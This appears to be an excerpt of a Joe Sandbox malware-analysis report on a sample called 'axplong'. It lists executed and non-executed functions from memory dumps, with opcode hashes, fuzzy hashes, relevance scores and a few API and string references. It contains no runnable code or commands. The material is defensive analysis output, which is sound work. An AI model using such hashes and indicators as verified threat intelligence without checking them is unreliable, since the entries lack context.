Snapshot File: hcaresult_6_2_4ef0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0748c06108ecf51ee0b28d846d156d40d7c315dea252df39ba5e6e772221c545
Instruction ID: c6e77722029fe285b9eec736d6ba49c92e04a2a7dcbd99824151e7385b651f0e
Opcode Fuzzy Hash: 0748c06108ecf51ee0b28d846d156d40d7c315dea252df39ba5e6e772221c545
Instruction Fuzzy Hash: 6601D2EA24D114BEF14252815F10AFB3B6DE7C2730730D462FA43D6943F2951A8A3032

Function 04EF0C6C Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3025816737.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ef0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7154f79c0309f9defa2ab798ebd5732645925e1cefcd855fc587b53de45815df
Instruction ID: a6e871d9c2d491f1e770cee48d669d40ce3784b743e44ee79ea589f7ceb6d958
Opcode Fuzzy Hash: 7154f79c0309f9defa2ab798ebd5732645925e1cefcd855fc587b53de45815df
Instruction Fuzzy Hash: 950176EB14D1503CF15181916F50BFB2B6ED2C37303309866F662C9543F28A0A8F3032

Function 04EF0CC8 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3025816737.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ef0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e1bdbedac3590ccd103d7bb70eac6cd70546ba86ad1f15044cf394323b01d3e
Instruction ID: c443918e0d4318f6237066fb7bd21700958f59594c5e7b5793c0ff9061e3e271
Opcode Fuzzy Hash: 6e1bdbedac3590ccd103d7bb70eac6cd70546ba86ad1f15044cf394323b01d3e
Instruction Fuzzy Hash: 630126AB28E2906EF14291912F206F76B6EE6D3330330D876F542C5943F2891A8E6532

Function 04EF0C7F Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3025816737.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ef0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e21786e30370b737808f9fa8353aef6e255bd79063c27a2837e6953c8d64e857
Instruction ID: a9094aa8d0ac9dc76fb21c2422b09775f208246dd15af7ac448ea46d4fe15cca
Opcode Fuzzy Hash: e21786e30370b737808f9fa8353aef6e255bd79063c27a2837e6953c8d64e857
Instruction Fuzzy Hash: 42F0C2EB24D1507DB14191916F14AFB6B6ED1C3B30330D826F542D4902F2890A8E2032

Function 04EF0CAD Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3025816737.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ef0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1264c252b12c59b031de983d3a21b0b8db1f594b7f88df3ddbe7a3c532630d7b
Instruction ID: cff371d867c5717c0a25ec8da6271b894ce6bec96bb3e2bb9fc02483d3cf02c3
Opcode Fuzzy Hash: 1264c252b12c59b031de983d3a21b0b8db1f594b7f88df3ddbe7a3c532630d7b
Instruction Fuzzy Hash: B3E0D8EB28D1507EF09150C66F106FB6B2EE2C3730730D423F603D5903A2890A8E7532

Non-executed Functions

Function 00C63068 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00C631E3

Strings

1#INF, xrefs: 00C6439E
1#QNAN, xrefs: 00C64381
1#SNAN, xrefs: 00C6437A
1#IND, xrefs: 00C64373

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: fd94ec257c4ef1f8f79f991d1e00500fec44af56488bef84bd532ff6f6f00b4c
Instruction ID: 8e5facb346fc1b9805d67edbcc1cd86b19e51be10ab6bb3fa4d008890169640e
Opcode Fuzzy Hash: fd94ec257c4ef1f8f79f991d1e00500fec44af56488bef84bd532ff6f6f00b4c
Instruction Fuzzy Hash: 12C22A71E086688FDB35CE28DD807E9B7B5EB88305F1441EAD85EA7240E775AF858F40

Function 00C62BD0 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction ID: 0a3619b6f9b28251f74e96c092945c8c3b56f75a32eef69ccae1815cddc35dfe
Opcode Fuzzy Hash: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction Fuzzy Hash: 2AF13E71E006199FDF24CFA9C9C06ADB7B1FF48314F158269E825AB345D731AE45CB90

Function 00C3CB1A Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00C3CE82,?,?,?,?,00C3CEB7,?,?,?,?,?,?,00C3C42D,?,00000001), ref: 00C3CB33

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 898d4d5f811a73da8fb3da5e1f500540fba2558353d45b7e90cf1a6112bbbd6c
Instruction ID: 0f1a00491a1efc5f47303027fdb4e6ef491245013f506c9664500fa17c2b0d94
Opcode Fuzzy Hash: 898d4d5f811a73da8fb3da5e1f500540fba2558353d45b7e90cf1a6112bbbd6c
Instruction Fuzzy Hash: E7D0223251203893CB012B90AC05AADFB089B04B98B000211E808772208A527C804BD4

Function 00C57D83 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00C57EFF

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: a78ab78ad72cb5272ad00d125b3ca256b4b604d580073614d78f2896fcce820b
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 4051B77C20C7085ECB388A29A9977BE67AA9F11303F140759DC62D7682CA919FCD830D

Function 00C24CF0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9721f977c2abd6bd1eff58899882101b6a901d4b3c04a5efd4731ce4d06e80cf
Instruction ID: 7da1b48fe6c902f8e09a6a6077a54a48d28192610a43aa81c5cf53aa62db1614
Opcode Fuzzy Hash: 9721f977c2abd6bd1eff58899882101b6a901d4b3c04a5efd4731ce4d06e80cf
Instruction Fuzzy Hash: 1F2260B7F515144BDB0CCA9DDCA27ECB2E3AFD8214B0E803DA40AE3745EA79D9158648

Function 00C66F09 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61dbe23a8cb5075cc6623244d5cb0775d271411da62d9cb74a5699477b867391
Instruction ID: 5e4d989ffacb8156d17613c524362af5023c9387a4d419f313a946476c98d6f3
Opcode Fuzzy Hash: 61dbe23a8cb5075cc6623244d5cb0775d271411da62d9cb74a5699477b867391
Instruction Fuzzy Hash: AEB15071214609DFD725CF28C4C6B557BE0FF45368F258A59E8A9CF2A1C335EA92CB40

Function 00C24AF0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6cd191248b5dedb74facfb1e9752c208f291c7f907ea9830650b022f8fe8f1b
Instruction ID: 9bd3a6b566615e0fd8a2e9a33bed8194b69d81d7ad2b3c594ee0c31573577546
Opcode Fuzzy Hash: a6cd191248b5dedb74facfb1e9752c208f291c7f907ea9830650b022f8fe8f1b
Instruction Fuzzy Hash: 1851C47060C7918FD319CF2D911563AFFE1AFD5200F084A9EE5EA87292D774DA48CB92

Function 00C6777B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bf1a94b001a5beb3a10f1747235f861172df8f6d0d4fcf8dbd3b3be94ac1ee4
Instruction ID: afe64b84236f7cdf7f770c99a97239a2b472b509ceba90afebb297b911a4cd13
Opcode Fuzzy Hash: 3bf1a94b001a5beb3a10f1747235f861172df8f6d0d4fcf8dbd3b3be94ac1ee4
Instruction Fuzzy Hash: 3321B673F204394B770CC47E8C572BDB6E1C68C541745423AE8A6EA2C1D968D917E2E4

Function 00C6765B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d62d6cca0dcba2ea49fac5bb9225e02c238427e4856f01b078fa5b10a79b91c
Instruction ID: 4c2551e69b1563937a0358174183c67ffbcd52122c1b3c31ddff498dd13eaaae
Opcode Fuzzy Hash: 1d62d6cca0dcba2ea49fac5bb9225e02c238427e4856f01b078fa5b10a79b91c
Instruction Fuzzy Hash: 1711A723F30C255A675C816D8C132BAA1D2DBD824031F433AD826E7284E9A4DE23D290

Function 00C68720 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: d8296728458f540f8633fd832d87abb51ea66819bc510b1c6c42a76293764469
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: B2112B7B20014147DA348A3DD9F45B6A796EBC5321B3D437AF1614B758DE22EB4DD900

Function 00C5645B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000EE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F14000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000F2A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022146158.0000000000F2B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022565114.00000000010BE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022634311.00000000010BF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022711586.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3022802243.00000000010C1000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c20000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a255e47e6232ddaafb0a524983f725e14c1b0db7e70cf411b4167870621d2da4
Instruction ID: 2896380daeec0b0adfe40947365021b62682e70e40716b61c7cc05827bf5bc0a
Opcode Fuzzy Hash: a255e47e6232ddaafb0a524983f725e14c1b0db7e70cf411b4167870621d2da4
Instruction Fuzzy Hash: 07E08C35190A48AFDF29BF18C898D593B9AEB51346F409800FC144B621CF76FED1EA84

Function 00C5A1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000006.00000002.3020888283.0000000000C20000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3020960898.0000000000C82000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021161476.0000000000C89000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000C8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3021229189.0000000000E11000.00000040.00000001.01000000.00000007.sdmpDownload File
